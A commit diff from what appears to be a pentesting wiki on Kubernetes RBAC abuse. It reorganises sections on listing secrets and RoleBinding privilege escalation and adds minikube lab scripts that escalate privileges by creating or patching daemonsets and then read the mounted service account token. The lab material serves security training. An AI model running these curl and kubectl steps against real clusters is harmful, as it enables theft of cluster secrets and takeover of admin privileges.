GitBook: [#2935] No subject
This commit is contained in:
parent
2d430c8f77
commit
65af320117
@ -40,20 +40,6 @@ rules:
|
||||
verbs: ["create", "list", "get"]
|
||||
```
|
||||
|
||||
### **Listing Secrets**
|
||||
|
||||
The **listing secrets privilege** is a strong capability to have in the cluster. A user with the permission to list secrets can **potentially view all the secrets in the cluster – including the admin keys**. The secret key is a JWT token encoded in base64.
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing\_secrets\_role.png)
|
||||
|
||||
An attacker that gains **access to **_**list secrets**_** ** in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace:
|
||||
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-2.png)
|
||||
|
||||
### Pod Creation - Steal Token
|
||||
|
||||
An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a **service account with privileged permissions, by running a pod with that service the permissions can be abused to escalate privileges**.
|
||||
@ -226,7 +212,7 @@ kubectl logs app -C proxy
|
||||
|
||||
More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### **Create/Update Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs are all privileges that allow the creation of different tasks in the cluster. Moreover, it's possible can use all of them to **develop pods and even create pods**. So it's possible to a**buse them to escalate privileges just like in the previous example.**
|
||||
|
||||
@ -277,58 +263,6 @@ kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
|
||||
|
||||
Note that as you can get inside any pod, you can abuse other pods token just like in [**Pod Creation exploitation**](./#pod-creation) to try to escalate privileges.
|
||||
|
||||
### **Get/Patch Rolebindings**
|
||||
|
||||
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
|
||||
|
||||
The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole (default high privileged role) and to add any user, including itself, to this admin ClusterRole.
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole\_with\_bind\_verb.png)
|
||||
|
||||
Then it's possible to create **`malicious-RoleBinging.json`**, which **binds the admin role to other compromised service account:**
|
||||
|
||||
```javascript
|
||||
{
|
||||
"apiVersion": "rbac.authorization.k8s.io/v1",
|
||||
"kind": "RoleBinding",
|
||||
"metadata": {
|
||||
"name": "malicious-rolebinding",
|
||||
"namespaces": "default"
|
||||
},
|
||||
"roleRef": {
|
||||
"apiGroup": "*",
|
||||
"kind": "ClusterRole",
|
||||
"name": "admin"
|
||||
},
|
||||
"subjects": [
|
||||
{
|
||||
"kind": "ServiceAccount",
|
||||
"name": "compromised-svc"
|
||||
"namespace": "default"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The purpose of this JSON file is to bind the admin “CluserRole” (line 11) to the compromised service account (line 16).
|
||||
|
||||
Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command:
|
||||
|
||||
```bash
|
||||
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
|
||||
-d @malicious-RoleBinging.json
|
||||
```
|
||||
|
||||
After the **admin role is bound to the “compromised-svc” service account**, we can use the compromised service account token to **list secrets**. The following CURL command will do this:
|
||||
|
||||
```bash
|
||||
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
|
||||
-H "Content-Type: application/json"
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
|
||||
```
|
||||
|
||||
### **Impersonating privileged accounts**
|
||||
|
||||
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) **** privilege, an attacker could impersonate a privileged account.
|
||||
@ -353,6 +287,22 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
|
||||
### **Listing Secrets**
|
||||
|
||||
The **listing secrets privilege** is a strong capability to have in the cluster. A user with the permission to list secrets can **potentially view all the secrets in the cluster – including the admin keys**. The secret key is a JWT token encoded in base64.
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/listing\_secrets\_role.png)
|
||||
|
||||
An attacker that gains **access to **_**list secrets**_** ** in the cluster can use the following _curl_ commands to get all secrets in “kube-system” namespace:
|
||||
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2019/08/Kube-Pentest-Fig-2.png)
|
||||
|
||||
###
|
||||
|
||||
### **Reading a secret – brute-forcing token IDs**
|
||||
|
||||
An attacker that found a token with permission to read a secret can’t use this permission without knowing the full secret’s name. This permission is different from the _**listing** **secrets**_ permission described above.
|
||||
@ -407,6 +357,62 @@ After trying to do so, we will receive an error “forbidden: attempt to grant e
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/forbidden\_attempt\_to\_gran\_extra\_privileges\_message-1024x288.png)
|
||||
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.**
|
||||
{% endhint %}
|
||||
|
||||
The privilege to create Rolebindings allows a user to **bind roles to a service account**. This privilege can potentially lead to privilege escalation because it **allows the user to bind admin privileges to a compromised service account.**
|
||||
|
||||
The following ClusterRole is using the special verb _bind_ that allows a user to create a RoleBinding with _admin_ ClusterRole (default high privileged role) and to add any user, including itself, to this admin ClusterRole.
|
||||
|
||||
![](https://www.cyberark.com/wp-content/uploads/2018/12/clusterRole\_with\_bind\_verb.png)
|
||||
|
||||
Then it's possible to create **`malicious-RoleBinging.json`**, which **binds the admin role to other compromised service account:**
|
||||
|
||||
```javascript
|
||||
{
|
||||
"apiVersion": "rbac.authorization.k8s.io/v1",
|
||||
"kind": "RoleBinding",
|
||||
"metadata": {
|
||||
"name": "malicious-rolebinding",
|
||||
"namespaces": "default"
|
||||
},
|
||||
"roleRef": {
|
||||
"apiGroup": "*",
|
||||
"kind": "ClusterRole",
|
||||
"name": "admin"
|
||||
},
|
||||
"subjects": [
|
||||
{
|
||||
"kind": "ServiceAccount",
|
||||
"name": "compromised-svc"
|
||||
"namespace": "default"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The purpose of this JSON file is to bind the admin “CluserRole” (line 11) to the compromised service account (line 16).
|
||||
|
||||
Now, all we need to do is to send our JSON as a POST request to the API using the following CURL command:
|
||||
|
||||
```bash
|
||||
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
|
||||
-d @malicious-RoleBinging.json
|
||||
```
|
||||
|
||||
After the **admin role is bound to the “compromised-svc” service account**, we can use the compromised service account token to **list secrets**. The following CURL command will do this:
|
||||
|
||||
```bash
|
||||
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
|
||||
-H "Content-Type: application/json"
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret
|
||||
```
|
||||
|
||||
## Best Practices
|
||||
|
||||
### **Prevent service account token automounting on pods**
|
||||
|
@ -1,6 +1,8 @@
|
||||
# K8s Roles Abuse Lab
|
||||
|
||||
You can run this lab just inside **minikube**.
|
||||
You can run these labs just inside **minikube**.
|
||||
|
||||
## Pod Creation -> Escalate to ns SAs
|
||||
|
||||
We are going to create:
|
||||
|
||||
@ -106,3 +108,312 @@ kubectl delete rolebinding test-rb
|
||||
kubectl delete role test-r
|
||||
kubectl delete serviceaccount test-sa
|
||||
```
|
||||
|
||||
## Create Daemonset
|
||||
|
||||
```bash
|
||||
# Create Service Account test-sa
|
||||
# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test
|
||||
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
|
||||
|
||||
echo 'apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-r
|
||||
rules:
|
||||
- apiGroups: ["apps"]
|
||||
resources: ["daemonsets"]
|
||||
verbs: ["get", "list", "create"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb
|
||||
subjects:
|
||||
- kind: User
|
||||
name: Test
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
kind: ClusterRole
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-cr
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: test-crb
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
namespace: default
|
||||
name: test-sa
|
||||
apiGroup: ""
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
||||
|
||||
# Check test-sa can access kube-system secrets
|
||||
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets
|
||||
|
||||
# Check user User can get pods in namespace default
|
||||
kubectl --as Test -n default get daemonsets
|
||||
|
||||
# Create a daemonset as user Test with the SA test-sa (privesc step)
|
||||
echo "apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: alpine
|
||||
namespace: default
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
name: alpine
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: alpine
|
||||
spec:
|
||||
serviceAccountName: test-sa
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ['/bin/sh']
|
||||
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
|
||||
|
||||
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
||||
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
||||
|
||||
# Clean the scenario
|
||||
kubectl delete daemonset alpine
|
||||
kubectl delete clusterrolebinding test-crb
|
||||
kubectl delete clusterrole test-cr
|
||||
kubectl delete rolebinding test-rb
|
||||
kubectl delete role test-r
|
||||
kubectl delete serviceaccount test-sa
|
||||
```
|
||||
|
||||
### Patch Daemonset
|
||||
|
||||
In this case we are going to **patch a daemonset** to make its pod load our desired service account.
|
||||
|
||||
If your user has the **verb update instead of patch, this won't work**.
|
||||
|
||||
```bash
|
||||
# Create Service Account test-sa
|
||||
# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test
|
||||
# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
|
||||
|
||||
echo 'apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-r
|
||||
rules:
|
||||
- apiGroups: ["apps"]
|
||||
resources: ["daemonsets"]
|
||||
verbs: ["get", "list", "patch"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb
|
||||
subjects:
|
||||
- kind: User
|
||||
name: Test
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
kind: ClusterRole
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-cr
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["secrets"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRoleBinding
|
||||
metadata:
|
||||
name: test-crb
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
namespace: default
|
||||
name: test-sa
|
||||
apiGroup: ""
|
||||
roleRef:
|
||||
kind: ClusterRole
|
||||
name: test-cr
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: alpine
|
||||
namespace: default
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
name: alpine
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: alpine
|
||||
spec:
|
||||
automountServiceAccountToken: false
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ['/bin/sh']
|
||||
args: ['-c', 'sleep 100']' | kubectl apply -f -
|
||||
|
||||
# Check user User can get pods in namespace default
|
||||
kubectl --as Test -n default get daemonsets
|
||||
|
||||
# Create a daemonset as user Test with the SA test-sa (privesc step)
|
||||
echo "apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
metadata:
|
||||
name: alpine
|
||||
namespace: default
|
||||
spec:
|
||||
selector:
|
||||
matchLabels:
|
||||
name: alpine
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
name: alpine
|
||||
spec:
|
||||
serviceAccountName: test-sa
|
||||
automountServiceAccountToken: true
|
||||
hostNetwork: true
|
||||
containers:
|
||||
- name: alpine
|
||||
image: alpine
|
||||
command: ['/bin/sh']
|
||||
args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -
|
||||
|
||||
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
||||
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
||||
|
||||
# Clean the scenario
|
||||
kubectl delete daemonset alpine
|
||||
kubectl delete clusterrolebinding test-crb
|
||||
kubectl delete clusterrole test-cr
|
||||
kubectl delete rolebinding test-rb
|
||||
kubectl delete role test-r
|
||||
kubectl delete serviceaccount test-sa
|
||||
```
|
||||
|
||||
## Not work - Create/Patch Bindings
|
||||
|
||||
**Doesn't work:**
|
||||
|
||||
* **Create a new RoleBinding** just with the verb **create**
|
||||
* **Create a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
|
||||
* You cannot do this to assign the role to yourself or to a different SA
|
||||
* **Modify a new RoleBinding** just with the verb **patch** (you need to have the binding permissions)
|
||||
* You cannot do this to assign the role to yourself or to a different SA
|
||||
|
||||
```bash
|
||||
echo 'apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: ServiceAccount
|
||||
metadata:
|
||||
name: test-sa2
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-r
|
||||
rules:
|
||||
- apiGroups: ["rbac.authorization.k8s.io"]
|
||||
resources: ["rolebindings"]
|
||||
verbs: ["get", "patch"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb
|
||||
subjects:
|
||||
- kind: User
|
||||
name: Test
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r
|
||||
apiGroup: rbac.authorization.k8s.io
|
||||
---
|
||||
kind: Role
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
metadata:
|
||||
name: test-r2
|
||||
rules:
|
||||
- apiGroups: [""]
|
||||
resources: ["pods"]
|
||||
verbs: ["get", "list", "delete", "patch", "create"]
|
||||
---
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-rb2
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: test-sa
|
||||
apiGroup: ""
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r2
|
||||
apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -
|
||||
|
||||
# Create a pod as user Test with the SA test-sa (privesc step)
|
||||
echo "apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: RoleBinding
|
||||
metadata:
|
||||
name: test-r2
|
||||
subjects:
|
||||
- kind: ServiceAccount
|
||||
name: test-sa2
|
||||
apiGroup: ""
|
||||
roleRef:
|
||||
kind: Role
|
||||
name: test-r2
|
||||
apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -
|
||||
|
||||
# Connect to the pod created an confirm the attached SA token belongs to test-sa
|
||||
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
|
||||
|
||||
# Clean the scenario
|
||||
kubectl delete rolebinding test-rb
|
||||
kubectl delete rolebinding test-rb2
|
||||
kubectl delete role test-r
|
||||
kubectl delete role test-r2
|
||||
kubectl delete serviceaccount test-sa
|
||||
kubectl delete serviceaccount test-sa2
|
||||
```
|
||||
|
@ -36,6 +36,10 @@ Kubernetes sometimes checks authorization for additional permissions using speci
|
||||
* [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/)
|
||||
* `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group.
|
||||
|
||||
{% hint style="warning" %}
|
||||
You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide`
|
||||
{% endhint %}
|
||||
|
||||
### Examples
|
||||
|
||||
Example of **Role** **configuration**:
|
||||
|
Loading…
Reference in New Issue
Block a user